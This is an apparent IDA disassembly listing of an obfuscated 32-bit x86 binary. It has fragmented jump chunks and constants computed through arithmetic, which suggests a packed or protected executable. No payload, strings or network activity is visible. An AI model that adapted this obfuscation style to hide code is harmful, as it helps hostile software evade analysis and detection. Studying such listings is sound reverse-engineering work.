loc_42EFCF:				; CODE XREF: _7hdaygc1:0042BA72j
		js	loc_42A4E4
; START	OF FUNCTION CHUNK FOR sub_42524F


loc_42EFD5:				; CODE XREF: sub_42524F+61F5j
		add	edi, 428E94h
		xchg	edi, [esp+0]
		jmp	nullsub_63
; END OF FUNCTION CHUNK	FOR sub_42524F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42936E


loc_42EFE3:				; CODE XREF: sub_42936E:loc_42B573j
		mov	edx, ebp
		xchg	edx, [esp+4+var_4]
		mov	ebp, esp
		push	ebp
		mov	ebp, ecx
		xchg	ebp, [esp+8+var_8]
		jmp	loc_42FA91
; END OF FUNCTION CHUNK	FOR sub_42936E

; =============== S U B	R O U T	I N E =======================================



sub_42EFF5	proc near		; DATA XREF: _7hdaygc1:0042ADC8o

; FUNCTION CHUNK AT 0042A121 SIZE 00000005 BYTES

		sub	edx, eax
		push	offset sub_425008
		jmp	loc_42A121
sub_42EFF5	endp

; ---------------------------------------------------------------------------


loc_42F001:				; DATA XREF: sub_423DFC:loc_42A348o
		add	eax, ebp
		push	ebx
		push	3E1E29D8h
		pop	ebx
		sub	ebx, 8BEC2969h
		add	ebx, 57232036h
		add	eax, ebx
		pop	ebx
		jmp	loc_42B375
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42F01E:				; CODE XREF: sub_42AFFE+2582j
		jz	loc_4292C1
		mov	ecx, ebx


loc_42F026:				; CODE XREF: sub_42AFFE+2576j
		add	ecx, 79D8A167h
		add	ecx, ebp
		add	ecx, 86072445h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_42A043
; END OF FUNCTION CHUNK	FOR sub_42AFFE

; =============== S U B	R O U T	I N E =======================================



sub_42F03C	proc near		; CODE XREF: sub_424680+454Ap
					; sub_42FCD3:loc_42F926j

; FUNCTION CHUNK AT 00429EF3 SIZE 0000000D BYTES

		push	ebp
		jmp	loc_429EF3
sub_42F03C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42F042	proc near		; DATA XREF: sub_42D031+Ao
		push	eax
		pop	ebp
		call	sub_42D054
sub_42F042	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4236EA


loc_42F049:				; CODE XREF: sub_4236EA+938Aj
		jmp	nullsub_110
; END OF FUNCTION CHUNK	FOR sub_4236EA
; ---------------------------------------------------------------------------


loc_42F04E:				; CODE XREF: _7hdaygc1:0042C8DBj
		jmp	loc_42E022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_42F053:				; CODE XREF: sub_429318-5971j
		jmp	loc_42A4A4
; END OF FUNCTION CHUNK	FOR sub_429318
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_42F059:				; CODE XREF: sub_425BAD+813Cj
		jmp	nullsub_112
; END OF FUNCTION CHUNK	FOR sub_425BAD

; =============== S U B	R O U T	I N E =======================================



sub_42F05E	proc near		; CODE XREF: _7hdaygc1:00425BA7j
					; sub_426D10+1C59p

; FUNCTION CHUNK AT 00423594 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424E38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004273BD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00427405 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0042914E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042A635 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042A892 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B16F SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042DA91 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E572 SIZE 00000011 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		jnb	loc_42F411
		jmp	loc_423594
sub_42F05E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F074:				; CODE XREF: _7hdaygc1:00425AF4j
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_42F075	proc near		; CODE XREF: sub_428AF7+284p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004234F1 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00425F73 SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	[esi], ebx
		xchg	ecx, [esp+0]
		jmp	loc_425F73
sub_42F075	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42F083:				; CODE XREF: sub_423172+1D01j
		push	esi
		push	95D83EE5h
		pop	esi
		add	esi, 0F41D124Eh
		js	loc_42CFB3
		mov	ecx, 8ECF61B6h
		jmp	loc_423214
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A104


loc_42F0A0:				; CODE XREF: sub_42A104:loc_425AEEj
		mov	eax, [ebp-0Ch]
		call	sub_42F0B4
		mov	[ebp-0Ch], eax
		add	dword ptr [ebp-4], 4
		jmp	loc_429B30
; END OF FUNCTION CHUNK	FOR sub_42A104

; =============== S U B	R O U T	I N E =======================================



sub_42F0B4	proc near		; CODE XREF: sub_423DFC+256Fp
					; sub_42A104+4F9Fp

; FUNCTION CHUNK AT 0042BCDE SIZE 0000000C BYTES

		push	ebp
		jmp	loc_42BCDE
sub_42F0B4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_42F0BA:				; CODE XREF: sub_424AE1:loc_429BEDj
		push	0EEFC31C0h
		pop	eax
		sub	eax, 0EAF41716h
		test	eax, 800000h
		jmp	loc_42B7BB
; END OF FUNCTION CHUNK	FOR sub_424AE1

; =============== S U B	R O U T	I N E =======================================



sub_42F0D1	proc near		; DATA XREF: _7hdaygc1:00425FFEo

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042B3A8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D4E1 SIZE 00000017 BYTES

		push	ecx
		push	4E75047Ah
		pop	ecx
		and	ecx, 0C1DECD1Fh
		push	edi
		mov	edi, offset loc_4286D4
		jmp	loc_42B3A8
sub_42F0D1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F65A


loc_42F0E9:				; CODE XREF: sub_42F65A:loc_42C3B9j
		cmp	dword ptr [ebp-30h], 0
		jle	loc_424D35
		jmp	loc_429BFC
; END OF FUNCTION CHUNK	FOR sub_42F65A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF3C


loc_42F0F8:				; CODE XREF: sub_42EF3C-10D2j
		mov	ecx, edx
		xchg	ecx, [esp-4+arg_0]
		push	eax
		mov	eax, [ebp-4]
		cdq
		jmp	loc_42EED0
; END OF FUNCTION CHUNK	FOR sub_42EF3C
; ---------------------------------------------------------------------------
		mov	[ebp+0], edi
		jmp	sub_4291A3
; ---------------------------------------------------------------------------


loc_42F10F:				; CODE XREF: _7hdaygc1:004259EBj
		pushf
		push	0F4C55868h
		pop	eax
		sub	eax, 853BD2AFh
		or	eax, 0A77C10E2h
		jmp	loc_42F9F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D0FB


loc_42F127:				; CODE XREF: sub_42D0FB+Cj
					; sub_42E84F+Bj
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]
		and	eax, 0FFh
		mov	eax, ds:dword_427884[eax*4]
		mov	[ebp-8], eax
; END OF FUNCTION CHUNK	FOR sub_42D0FB
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42F13C:				; CODE XREF: sub_423648+DA1j
					; sub_423648:loc_428B89j
		js	loc_429D82


loc_42F142:				; CODE XREF: _7hdaygc1:loc_42A593j
		jmp	loc_429D66
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42F147:				; CODE XREF: sub_426130:loc_42508Fj
		jnz	loc_42DF67
		jmp	loc_4240DC
; END OF FUNCTION CHUNK	FOR sub_426130

; =============== S U B	R O U T	I N E =======================================



sub_42F152	proc near		; CODE XREF: _7hdaygc1:00429C5Ej
					; sub_4268D9+57D3p

; FUNCTION CHUNK AT 00425D5A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425E30 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00426166 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004291D9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004292E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CB72 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042FB4F SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, ebp
		add	eax, 3502F25Ch
		mov	eax, [eax]
		mov	al, [ebp+eax-20h]
		mov	edx, [ebp-4]
		jmp	loc_4291D9
sub_42F152	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jmp	loc_4251E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_42F171:				; CODE XREF: sub_426130-10A7j
					; _7hdaygc1:00429C91j
		mov	eax, [ebp-4]
		push	ebx
		push	91CA5E0Ah


loc_42F17A:				; CODE XREF: _7hdaygc1:loc_42CF60j
		pop	ebx
		and	ebx, 3EE05F15h
		sub	ebx, 91D7A176h
		jmp	loc_4286D9
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42F18C:				; CODE XREF: sub_425E64-EC5j
		jo	loc_42933A
; END OF FUNCTION CHUNK	FOR sub_425E64
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42F192:				; CODE XREF: sub_42F152:loc_425D5Aj
					; sub_42F152-9321j ...
		push	9F59278Ah
		pop	eax
		xor	eax, 0BE60DE58h
		rol	eax, 16h
		jmp	loc_42F4A7
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 8
		mov	ds:dword_42BC38, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E695


loc_42F1B1:				; CODE XREF: sub_42E695-230Cj
		rol	eax, 8
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42E695
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42F1B6:				; CODE XREF: sub_423752+49E0j
		jmp	loc_42E216
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------


loc_42F1BB:				; CODE XREF: _7hdaygc1:00424235j
		jmp	loc_42BF6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E21


loc_42F1C0:				; CODE XREF: sub_425E21-1EA8j
		push	ecx
		jmp	loc_42A7DA
; END OF FUNCTION CHUNK	FOR sub_425E21

; =============== S U B	R O U T	I N E =======================================



sub_42F1C6	proc near		; CODE XREF: _7hdaygc1:00424009j
					; sub_423172:loc_429DBAp

; FUNCTION CHUNK AT 00426BB0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00428D80 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042934C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A5D2 SIZE 0000001E BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 0FB5C9C36h
		add	eax, ebp
		add	eax, 7C6E2B7Dh
		jmp	loc_428D80
sub_42F1C6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E4B2


loc_42F1DD:				; CODE XREF: sub_42E4B2+7j
		push	offset sub_42E90A
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_42E4B2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42F1E7	proc near		; CODE XREF: sub_42AFB3-48C0j
		retn
sub_42F1E7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_42F1E8:				; CODE XREF: sub_423DDB+B988j
		or	ebp, esi
		jl	loc_42E163
		rol	ecx, 11h
		sbb	ecx, 0BF5C68D1h


loc_42F1F9:				; CODE XREF: sub_423DDB+B97Cj
		add	esi, 74351AB0h
		jmp	loc_428480
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C209


loc_42F204:				; CODE XREF: sub_42C209:loc_423512j
		xor	edi, ebx
		jmp	loc_42FCF8
; END OF FUNCTION CHUNK	FOR sub_42C209
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423752


loc_42F20B:				; CODE XREF: sub_423752:loc_423839j
		and	eax, 0FFFh
		add	[esi], eax
		xor	[esi], edx


loc_42F214:				; CODE XREF: _7hdaygc1:0042B926j
		push	eax
		push	365D87ACh
		pop	eax
		jmp	loc_42E122
; END OF FUNCTION CHUNK	FOR sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8F6


loc_42F220:				; CODE XREF: sub_42F8F6:loc_425F87j
		lea	eax, loc_428208
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp+4+var_4]
		push	0
		push	0
		call	sub_42B942
; END OF FUNCTION CHUNK	FOR sub_42F8F6
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42F235:				; CODE XREF: sub_42C443:loc_42B362j
		jmp	loc_42E04C
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------


loc_42F23A:				; CODE XREF: _7hdaygc1:0042CCA2j
		mov	esi, 9BF05ACAh


loc_42F23F:				; CODE XREF: _7hdaygc1:loc_42829Dj
		mov	eax, 400h


loc_42F244:				; CODE XREF: _7hdaygc1:00427007j
		push	esi
		push	0B143E94Fh
		pop	esi
		or	esi, 7A50B3BCh
		test	esi, 20000h
; START	OF FUNCTION CHUNK FOR sub_4295F7


loc_42F257:				; CODE XREF: sub_4295F7:loc_429613j
		jmp	loc_42E8DD
; END OF FUNCTION CHUNK	FOR sub_4295F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42742E


loc_42F25C:				; CODE XREF: sub_42742E-27E0j
		pop	esi
		add	esi, 27BD4EEAh
		xor	esi, 0D27B7267h
		add	esi, 28CB167Ch
		xchg	esi, [esp+4+var_4]
		jmp	loc_42A792
; END OF FUNCTION CHUNK	FOR sub_42742E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_42F277:				; CODE XREF: sub_425E64:loc_427879j
		jl	loc_42C7A5


loc_42F27D:				; CODE XREF: _7hdaygc1:00429AE3j
		jmp	loc_42D72D
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------
		or	eax, edx
		jnz	loc_42C9D3
		cmp	ebx, edi
		jmp	loc_42C797

; =============== S U B	R O U T	I N E =======================================



sub_42F291	proc near		; CODE XREF: sub_424A2B+3p
					; _7hdaygc1:004266E9j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00429E9C SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0042F823 SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ebp, [esp-4+arg_0]
		push	3CF86AAEh
		pop	eax
		rol	eax, 14h
		sub	eax, 0BB335688h
		jmp	loc_42F823
sub_42F291	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_42F2AC:				; CODE XREF: sub_42CCDD:loc_42B2F1j
		add	eax, 9A8E2ECFh
		sub	esi, 2D83B648h
		jmp	loc_42FD3D
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; ---------------------------------------------------------------------------


loc_42F2BD:				; CODE XREF: _7hdaygc1:00428887j
		pop	edi
		or	edi, 0F09F9E01h
		test	edi, 10000000h
		jmp	loc_42B2A4
; ---------------------------------------------------------------------------
		mov	esi, 1301ECA9h
		js	loc_426577
		jmp	sub_42821A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_42F2DF:				; CODE XREF: sub_424A2B:loc_42C2F6j
		jnz	loc_4242FC
		push	offset sub_42D5F1
		jmp	nullsub_119
; END OF FUNCTION CHUNK	FOR sub_424A2B
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 19h
		push	edi
		push	755813D8h
		pop	edi
		xor	edi, 34BFCBA6h
		sub	edi, 41F6ED41h
		jmp	loc_42F603
; ---------------------------------------------------------------------------

locret_42F30B:				; CODE XREF: _7hdaygc1:00426003j
		retn
; ---------------------------------------------------------------------------


loc_42F30C:				; CODE XREF: _7hdaygc1:0042DCB9j
		pop	ebp

; =============== S U B	R O U T	I N E =======================================



sub_42F30D	proc near		; CODE XREF: sub_42C002+Ap

; FUNCTION CHUNK AT 004239C5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426482 SIZE 00000002 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[esi], eax
		jmp	loc_4239C5
sub_42F30D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F318:				; CODE XREF: _7hdaygc1:0042EECAj
		jnz	loc_424E44

; =============== S U B	R O U T	I N E =======================================



sub_42F31E	proc near		; CODE XREF: sub_42C7F3+1422p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042D7E1 SIZE 00000015 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	eax, [esp+0]
		mov	[ebp-4], eax
		mov	eax, 100h
		call	sub_42828C
		mov	ebx, eax
		jmp	loc_42D7E1
sub_42F31E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	ebx, [ecx]
		jmp	sub_42D002
; ---------------------------------------------------------------------------


loc_42F340:				; DATA XREF: _7hdaygc1:0042423Ao
		mov	eax, 100h


loc_42F345:				; CODE XREF: _7hdaygc1:loc_428AF1j
		call	sub_42828C
		mov	ebx, eax
		call	sub_428C3B
		xor	ebx, eax
		push	eax
		push	25C0F1AFh
		pop	eax
		rol	eax, 12h
		xor	eax, 608C1EB9h
		jmp	loc_423E61
; ---------------------------------------------------------------------------
		call	sub_42B877
; START	OF FUNCTION CHUNK FOR sub_425BFC


loc_42F36D:				; CODE XREF: sub_425BFC+6j
		jmp	loc_42C530
; END OF FUNCTION CHUNK	FOR sub_425BFC
; ---------------------------------------------------------------------------

locret_42F372:				; CODE XREF: _7hdaygc1:00424579j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_42F373:				; CODE XREF: sub_423648+5A7Aj
		jmp	loc_42BA1B
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------


loc_42F378:				; CODE XREF: _7hdaygc1:00429DF2j
		push	30645B31h


loc_42F37D:				; CODE XREF: _7hdaygc1:loc_429DE1j
		add	eax, 5123775Dh
		add	eax, ebp
		add	eax, 6A885DB3h
		mov	eax, [eax]
		call	sub_424588


loc_42F392:				; CODE XREF: _7hdaygc1:0042B2ACj
		jb	loc_429AAE
		xchg	ebx, edx


loc_42F39A:				; CODE XREF: _7hdaygc1:loc_42B2A4j
		rol	edi, 1Ah
		or	edi, 44A77BD7h
		xor	edi, 0E5C8E80Ah
		add	ebp, edi
		push	ebx
		jmp	loc_4287AB
; ---------------------------------------------------------------------------
		xor	edx, edx
		mov	eax, [ebp-4]
		push	edi
		push	9BD158F6h
		pop	edi
		and	edi, 73D2A2B8h
		jmp	loc_42D40B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F3C8	proc near		; CODE XREF: sub_42EF3C+7p

var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 00423AEC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004242B1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425C07 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042CD94 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042DA65 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042EA29 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042FBB1 SIZE 00000005 BYTES

		push	esi


loc_42F3C9:				; CODE XREF: _7hdaygc1:0042488Fj
		mov	esi, edi
		xchg	esi, [esp+0]
		mov	edi, ebp


loc_42F3D0:				; CODE XREF: _7hdaygc1:0042BFF4j
		xchg	edi, [esp+0]
		mov	ebp, esp
		push	ebx
		jmp	loc_42FBB1
sub_42F3C8	endp

; ---------------------------------------------------------------------------
		xchg	esi, edx
		jmp	sub_423F3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428079


loc_42F3E2:				; CODE XREF: sub_428079-3448j
		push	0
		push	offset sub_42DA74
		jmp	nullsub_186
; END OF FUNCTION CHUNK	FOR sub_428079
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240B0


loc_42F3EE:				; CODE XREF: sub_4240B0+8j
		call	sub_427D8E
		cmp	ds:dword_427CA0, 0
		jnz	loc_42C72A
		lea	edx, [ebp-14h]
		mov	eax, offset dword_427CB0
		jmp	loc_424D9C
; END OF FUNCTION CHUNK	FOR sub_4240B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_42F40D:				; CODE XREF: sub_42DAD9:loc_42A5F1j
		or	dword ptr [eax-8], 8
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42F411:				; CODE XREF: _7hdaygc1:00423368j
					; sub_42C443-46EBj ...
		js	loc_424EE5
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_4239BA
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jmp	loc_42358F
; END OF FUNCTION CHUNK	FOR sub_42C443

; =============== S U B	R O U T	I N E =======================================



sub_42F436	proc near		; CODE XREF: sub_429BD4:loc_429BD8p
					; _7hdaygc1:0042B91Bj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425EFB SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042B9A4 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	eax, eax
		cdq
		jmp	loc_42B9A4
sub_42F436	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C369


loc_42F442:				; CODE XREF: sub_42C369-1887j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42C369
; ---------------------------------------------------------------------------


loc_42F446:				; CODE XREF: _7hdaygc1:0042E36Bj
		jmp	locret_424D9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FD11


loc_42F44B:				; CODE XREF: sub_4282A9+32BEj
					; sub_42FD11+7j
		push	0C73420F2h
		pop	eax
		jmp	loc_425573
; END OF FUNCTION CHUNK	FOR sub_42FD11
; ---------------------------------------------------------------------------


loc_42F456:				; CODE XREF: _7hdaygc1:00424038j
					; DATA XREF: sub_423DFC+4FBDo
		add	edx, [ebp-4]
		add	eax, edx
		call	sub_429968
; START	OF FUNCTION CHUNK FOR sub_42450E


loc_42F460:				; CODE XREF: sub_42450E+2782j
		jmp	loc_42D2A5
; END OF FUNCTION CHUNK	FOR sub_42450E
; ---------------------------------------------------------------------------


loc_42F465:				; CODE XREF: _7hdaygc1:0042543Cj
		adc	ebp, ebx

; =============== S U B	R O U T	I N E =======================================



sub_42F467	proc near		; CODE XREF: _7hdaygc1:0042391Fp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0042E823 SIZE 00000014 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	1
		push	0
		push	12B66D36h
		xchg	esi, [esp+8+var_8]
		jmp	loc_42E823
sub_42F467	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_42F47D:				; CODE XREF: sub_42F528+Cj
		jmp	loc_428F95
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF30


loc_42F482:				; CODE XREF: sub_42EF30+1j
		jmp	loc_42866D
; END OF FUNCTION CHUNK	FOR sub_42EF30
; ---------------------------------------------------------------------------


loc_42F487:				; CODE XREF: _7hdaygc1:004270CFj
		jmp	loc_42DBC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42F48C:				; CODE XREF: sub_4273CA+5058j
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
		jmp	loc_42A64E
; ---------------------------------------------------------------------------


loc_42F49D:				; CODE XREF: sub_4273CA:loc_423AC0j
		push	offset sub_427455
		jmp	loc_428C2C
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA47


loc_42F4A7:				; CODE XREF: sub_42AA47+475Aj
		xor	eax, 4B148E5Dh
		add	eax, ebp
		push	edi
		push	5AE1BAAEh
		pop	edi
		or	edi, 3D7B992Ah
		cmp	edi, 0F36FB813h
		jmp	loc_42EB48
; END OF FUNCTION CHUNK	FOR sub_42AA47
; ---------------------------------------------------------------------------
		cmp	esi, ebx
		jmp	loc_42E638

; =============== S U B	R O U T	I N E =======================================



sub_42F4CE	proc near		; CODE XREF: _7hdaygc1:004293CEp
					; _7hdaygc1:0042C9B1j

; FUNCTION CHUNK AT 00423350 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428ADB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00428F81 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F8B4 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		test	al, al
		jz	loc_42C933
		jmp	loc_428F81
sub_42F4CE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42F4DF:				; DATA XREF: sub_42C443-53B2o
		xchg	edx, [esp]
		push	edx
		push	7F3319ACh
		pop	edx
		jmp	loc_42DB33
; ---------------------------------------------------------------------------


loc_42F4EE:				; CODE XREF: _7hdaygc1:00428C63j
					; _7hdaygc1:loc_429434j
		shr	edi, 1
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42F4F0:				; CODE XREF: sub_425A37:loc_42BA05j
		add	ebx, 449B0105h
		add	eax, ebx
		pop	ebx
		call	sub_425C3B


loc_42F4FE:				; CODE XREF: sub_42ABE3+7j
		jmp	nullsub_3
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_42F503:				; CODE XREF: sub_42A052+12j
		jmp	loc_42B96F
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425CA9


loc_42F508:				; CODE XREF: sub_425CA9+Dj
		call	sub_42DBEA
		push	offset loc_429086
		jmp	loc_427F4F
; END OF FUNCTION CHUNK	FOR sub_425CA9
; ---------------------------------------------------------------------------
		js	loc_429511
		jmp	sub_42C6A0
; ---------------------------------------------------------------------------


loc_42F522:				; CODE XREF: _7hdaygc1:0042FC04j
		or	edi, 67BB7B54h

; =============== S U B	R O U T	I N E =======================================



sub_42F528	proc near		; CODE XREF: sub_42B470-51CBp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 004239CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425400 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00426764 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F95 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D4D0 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0042E9C1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042F47D SIZE 00000005 BYTES

		xchg	ecx, [esp+8+var_8]
		pop	ecx
		or	eax, eax
		jnz	loc_42E9C1
		jmp	loc_42F47D
sub_42F528	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0E2


loc_42F539:				; CODE XREF: sub_42E0E2+12j
		sub	edx, 3BC6E4D4h
		add	edx, 3D0A575Fh
		xchg	edx, [esp+4+var_4]
		jmp	sub_42D85F
; END OF FUNCTION CHUNK	FOR sub_42E0E2
; ---------------------------------------------------------------------------
		xor	edx, ebp
		jmp	sub_426B1A

; =============== S U B	R O U T	I N E =======================================



sub_42F554	proc near		; CODE XREF: _7hdaygc1:004251A0j
					; sub_424744+5146p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		add	esi, 0FF12DA49h
		xchg	esi, [esp-4+arg_0]
		jmp	sub_42D757
sub_42F554	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		popf
		jmp	loc_42A4C0

; =============== S U B	R O U T	I N E =======================================



sub_42F56C	proc near		; CODE XREF: sub_42B470:loc_4234A1j
					; sub_42B470+3430j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00423CE7 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00423E52 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042921A SIZE 00000005 BYTES

		push	ebp
		call	sub_429C1F


loc_42F572:				; CODE XREF: _7hdaygc1:00426E76j
		ja	loc_42921A
